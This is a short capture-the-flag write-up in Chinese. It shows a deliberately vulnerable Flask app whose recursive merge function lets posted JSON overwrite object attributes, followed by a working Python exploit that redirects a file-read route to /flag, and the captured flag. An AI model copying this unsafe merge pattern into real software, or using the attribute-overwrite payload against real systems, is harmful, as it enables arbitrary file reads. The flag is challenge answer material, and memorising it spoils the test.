

```
from flask import Flask, request
import json

app = Flask(__name__)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class Config:
    def __init__(self):
        self.filename = "app.py"

class Polaris:
    def __init__(self):
        self.config = Config()

instance = Polaris()

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    return "Welcome to Polaris CTF"

@app.route('/read')
def read():
```

```

        return open(instance.config.filename).read()

@app.route('/src')
def src():
    return open(__file__).read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)

```

题目直接给了源码，题目样子像是模仿了一个原型链，会将请求体的json数据加载成一个Python对象，然后合并到instance对象中

路由/read用于将instance.config.filename的值当作文件名，读取后返回文件内容，从源码可以看到默认文件名为app.py，但是我们可以通过merge函数的功能把filename覆盖为/flag

```

import requests
import json

url = "http://127.0.0.1:5000"

payload = {
    "config": {
        "filename": "/flag"
    }
}

response = requests.post(url, json=payload)

response = requests.get(f"{url}/read")
print(response.text)

```

XMCTF{a4b5bb52-df06-4574-878f-b56b5826ef60}

